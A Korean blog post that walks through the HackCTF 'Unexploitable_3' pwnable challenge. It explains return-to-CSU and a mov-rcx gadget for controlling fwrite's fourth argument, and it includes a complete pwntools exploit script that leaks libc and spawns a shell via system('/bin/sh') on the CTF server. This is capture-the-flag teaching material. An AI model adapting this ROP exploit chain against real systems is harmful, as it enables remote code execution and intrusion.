문제 풀이 환경 : ubuntu 18.04 |
RTC 기법으로는 인자를 3개까지 제어할 수 있다.
그런데 fwrite는 인자가 4개이다.
마지막 인자는 어떻게 제어해야 할까...?
가 이 문제의 핵심이다.
주어진 파일은 문제파일 바이너리
Analysis
일단 실행
이전 unex~1,2랑 흐름이 똑같다.
IDA
main에서 bof가 일어난다.
gift 함수가 있는데.... 가젯 안준단다. 너무하다....
How to exploit
fwrite로 leak해서 ROP를 진행해야겠다.
그런데 ROPgadget으로 잘 살펴보면 가젯이 부족하다...
이럴때 요긴하게 쓸 수 있는 방법이 아래의 RTC 기법이다.
jiravvit.tistory.com/entry/RTC-Return-to-CSU
그런데 RTC 기법으로는 인자를 3개밖에 제어할 수 없다.
edi, rsi, rdx...
fwrite 함수를 사용하려면 rcx 가젯이 필요하다.
pop rcx 가젯은 없었다.
저기 노란색 박스의 가젯을 이용하도록 하자. (참고로 pop rdi 가젯은 거의 무조건 있음)
어떻게 저 가젯을 쓸 생각을 했냐면,
RTC 기법을 공부하고 가젯을 찾을 때 눈에 잘 보이는게 mov ~ 라는 가젯이였다.
저런식으로 rdi에 있는 값을 rcx로 옮겨주면 우리는 rcx도 제어할 수 있다.
사실 저 가젯은 gift에 있는 가젯이다. (진짜 gift다,,,)
가젯 찾을 때 이런 함수들의 어셈블리어를 잘 보는 습관을 생활화해야겠다.
아무튼 rcx는 저 가젯으로 제어하면 되고, 나머지는 rtc 기법을 이용해서 edi, rsi, rdx를 제어할 수 있다.
아 참고로 stdout 같은건 아이다에서 편리하게 바로 찾을 수 있다.
Let's exploit
chain함수를 편리하게 ... 잘 활용하였다.
from pwn import *
#p = process('./Unexploitable_3')
p = remote('ctf.j0n9hyun.xyz', 3034)
e = ELF('./Unexploitable_3')
#libc = e.libc
def chain(got, A, B, C, csu_call):
payload = ''
payload += 'A' * 8
payload += p64(0)
payload += p64(1)
payload += p64(got)
payload += p64(C)
payload += p64(B)
payload += p64(A)
payload += p64(csu_call)
return payload
fgets_got = e.got['fgets']
fwrite_plt = e.plt['fwrite']
fwrite_got = e.got['fwrite']
stdout = 0x601050
#print hex(fwrite_got)
pop_rdi = 0x400743
mov_rcx = 0x400658
main = 0x40065f
ret = 0x4004d1
csu_call = 0x400720
csu_init = 0x400736
log.info('first main')
log.info('[1] fwrite@got leak')
payload = ''
payload += 'a' * (0x10+0x8)
payload += p64(pop_rdi)
payload += p64(stdout)
payload += p64(mov_rcx)
payload += p64(csu_init)
payload += chain(fwrite_got, fwrite_got, 1, 6, csu_call)
payload += chain(0, 0, 0, 0, main)
p.sendlineafter('\n', payload)
log.info('second main')
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.info('fwrite@got = '+hex(leak))
log.info('[2] get libc addr')
#libc_base = leak - libc.symbols['fwrite']
#log.info('libc_base = '+hex(libc_base))
#system = libc_base + libc.symbols['system']
#binsh = libc_base + libc.search('/bin/sh').next()
system = leak - 0x29350
binsh = leak + 0x11e677
payload = ''
payload += 'A' * (0x10+0x8)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(ret)
payload += p64(system)
log.info('[3] exploit... system(binsh)')
p.sendlineafter('\n', payload)
p.interactive()
remote 딸 때, libc 다운받기 귀찮아서 offset을 계산했다.
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] babyfsb 풀이 (64bit, FSB) (0) | 2021.04.26 |
---|---|
[HackCTF : Pwnable] You are silver 풀이 (64bit, FSB) (수정) (0) | 2021.04.20 |
[HackCTF : Pwnable] RTC 풀이 (64bit, RTC) (0) | 2021.04.20 |
[HackCTF : Pwnable] RTC 풀이 (64bit, ROP) (0) | 2021.04.19 |
[HackCTF : Pwnable] SysROP 풀이 (64bit, SROP, 브포) (0) | 2021.04.16 |